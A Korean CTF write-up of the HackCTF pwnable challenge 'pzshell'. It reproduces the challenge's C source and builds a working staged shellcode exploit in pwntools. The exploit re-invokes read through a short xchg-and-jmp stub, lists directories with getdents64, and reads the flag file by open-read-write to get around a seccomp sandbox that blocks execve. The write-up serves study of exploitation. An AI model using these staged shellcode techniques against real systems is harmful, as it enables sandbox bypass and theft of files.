Wargame/HackCTF

[Pwnable] pzshell

210_ 2020. 1. 31. 20:05

들어가며

이 문제는 ezshell에서 한층 더 진화된 문제이다.

쉘코드 작성법에 대해서 한층 더 깊게 공부할 수 있었던 문제였다.

그리고, getdents함수에 대해서도 알게 되었던 문제이다.

 

문제해석

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>

void sandbox(void)
{
	scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);

	if (ctx == NULL)
	{
		write(1, "seccomp error\n", 15);
		exit(-1);
	}

	seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fork), 0);
	seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(vfork), 0);
	seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(clone), 0);
	seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(creat), 0);
	seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(ptrace), 0);
	seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(prctl), 0);
	seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
	seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

	if (seccomp_load(ctx) < 0)
	{
		seccomp_release(ctx);
		write(1, "seccomp error\n", 15);
		exit(-2);
	}

	seccomp_release(ctx);
}

void Init(void)
{
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stderr, 0, 2, 0);
}

int main(void)
{
	char s[0x10];
	char result[0x100] = "\x0F\x05\x48\x31\xED\x48\x31\xE4\x48\x31\xC0\x48\x31\xDB
				\x48\x31\xC9\x48\x31\xF6\x48\x31\xFF\x4D\x31\xC0\x4D\x31
				\xC9\x4D\x31\xD2\x4D\x31\xDB\x4D\x31\xE4\x4D\x31\xED\x4D
				\x31\xF6\x4D\x31\xFF\x66\xbe\xf1\xde";
	char filter[2] = {'\x0f', '\x05'};

	Init();

	read(0, s, 8);

	for (int i = 0; i < 2; i ++)
	{
		if (strchr(s, filter[i]))
		{
			puts("filtering :)");
			exit(1);
		}
	}

	strcat(result, s);

	sandbox();

	(*(void (*)()) result + 2)();
}

문제는 ezshell과 다를것이 별로 없지만, 입력크기가 8로 줄어든 것과 sandbox()함수가 추가되어, syscall에서 execve를 사용하지 못한다.

첫번째로, 입력크기가 8로 줄어들었으니 그것을 우선 해결해야 한다.

두번째로, execve를 사용하지 못하니 우리는 이 문제를 ORW(Open Read Write)를 통하여 문제를 해결할 수 있다.

 

ORW

ORW란, flag파일을 Open으로 fd descriptor를 받아온 후, Read를 통하여 Writeable한 영역에 파일의 내용을 받아온다.

마지막으로, Write를 통해 stdout으로 화면에 출력해주면 flag가 나온다.

 

풀이

우선, 문제에서 주어진 shellcode를 확인해보자.

이전 문제와 동일하게 register들의 값을 싹다 날려버린다. 하지만, 이전문제와 다른 점이 보인다.

바로, rdxrsi를 남겨놓는다는 점이다.

이때, rdx는 문제에서 제공하는 shellcode에서 syscall 다음 주소를 가르키고 있었다.


그러므로, xchg instruction을 통하여 값을 exchange 해보자.

3bytes이다! 다음에 syscalljmpshellcode5bytes 이므로 8bytes를 넘지 않는다.

아마 출제자의 intending이 xchg를 사용하는 것이 아닐까 싶다.

그렇다면, shellcode를 작성해보자.

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

r = process("./pzshell")
#r = remote("ctf.j0n9hyun.xyz", 3038)
gdb.attach(r)

context.arch = 'amd64'

shellcode = ''
shellcode += asm("xchg rsi,rdx")
shellcode += "\xe9\xc5\xff\xff\xff"

print(len(shellcode))
r.send(shellcode)

shellcode = ''
shellcode += "\x90"*8

r.send(shellcode)

jmp instruction에서 상대주소 계산법은 여기를 참고하길 바란다.

첫번째 send를 보내면, read(0, syscall다음 주소, 0xdef1) 이 될 것이다.

두번째 send를 보내면, syscall 다음부터 nop이 들어가게 될 것이다.

 

정상적으로 jmp를 하는 것을 볼 수 있다.

 

read(0, syscall다음 주소, 0xdef1)에 nop을 넣은 결과

read함수 역시 제대로 수행된 것을 볼 수 있다.


이제, ORW를 할 차례이다.

pwntools 모듈에 shellcraft라는 것을 이용하여 쉽게 작성해보았다.

shellcode = ''
shellcode += asm("mov rsp, qword ptr fs:[rbx]")
shellcode += asm(shellcraft.open("/home/attack/flag"))
shellcode += asm(shellcraft.read("rax", "rsp", 100))
shellcode += "\x90"*8
shellcode += asm(shellcraft.write(1, "rsp", 100))

rspezshell문제에서와 똑같이 fs:0x0를 복사함으로써, writeable한 영역을 만들어주었다.

read 함수의 fdrax를 넣어준 이유는 open함수로 연 파일의 fdrax(function return register)이기 때문이다.

 

중간에 nop sledreadwrite사이에서 shellcode가 꼬여서 넣어주었다.

파일 이름은 다른 문제들의 형식이 저런 형식이라서 한번 guessing을 해보았다.

일단, local에서 제대로 읽어와 지는지 한번 봐보자.

 

local환경에서 ORW

잘 읽어와진다. 이제 remote환경에서 잘 읽는지도 확인해보자.

 

remote환경에서 ORW

읽어오지 못한다.

 

왜일까?


답은 "파일 이름이 달라서" 일 것이다.

파일 이름을 때려 맞출 수는 없으니, 우리는 getdents64라는 함수를 이용하여 directory listing을 시도해볼 것이다.

 

getdents64

int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

getdents64함수는 open함수로 directoryfd로 지정한 후, 그 fd를 통해서 dirp구조체 ptr에 해당 directoryinode, file type, d_reclen, d_off, d_name 를 저장한다.

이때, d_name이 파일명이 된다.

자세한 내용과 예시는 이곳에 정리가 되어있다.

 

그렇다면 위의 정보를 토대로 shellcode를 구상해보자.

1. open("/home/")으로 /home/ directory를 fd에 저장한다.
2. getdents64(fd, rsp, 1024) 로 rsp에 directory의 내용을 저장한다.
3. write(1, rsp, 1024) 로 화면에 directory의 내용을 출력해준다.

 

/home에 있는 내용

성공적으로 출력되었다. /home/attack 까지는 맞았다.

이제 /home/attack 하위 directory에 어떤 파일이 flag파일일지 한번 더 보내보자.

 

/home/attack에 있는 내용

main은 아마 binary파일일 것이고, S3cr3t_F14g가 우리가 찾는 flag파일로 보인다.

 

그렇다면, 아까의 ORW에서는 파일 이름이 맞지 않아, open함수에서 rax-1이었을 것이다.

이제, 파일이름을 맞춰준 후, ORW를 시도해보자.

 

Exploit.py

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

#r = process("./pzshell")
r = remote("ctf.j0n9hyun.xyz", 3038)
#gdb.attach(r)

context.arch = 'amd64'

# Stage 1 : read(0, &(next_to_syscall), 0xdef1)
shellcode = ''
shellcode += asm("xchg rsi,rdx")
shellcode += "\xe9\xc5\xff\xff\xff"

#print(len(shellcode))
r.send(shellcode)

# Stage 2 : Directory listing
shellcode = ''
shellcode += asm("mov rsp, qword ptr fs:[rbx]")
shellcode += asm(shellcraft.open("/home/attack"))
shellcode += asm(shellcraft.getdents64("rax", "rsp", 1024))
shellcode += "\x90"*8
shellcode += asm(shellcraft.write(1, "rsp", 1024))

# Stage 3 : ORW
shellcode += asm(shellcraft.open("/home/attack/S3cr3t_F14g"))
shellcode += asm(shellcraft.read("rax", "rsp", 100))
shellcode += "\x90"*8
shellcode += asm(shellcraft.write(1, "rsp", 100))

r.send(shellcode)
r.recv() # Show as debugging mode
log.info("Flag: "+r.recvuntil('\n'))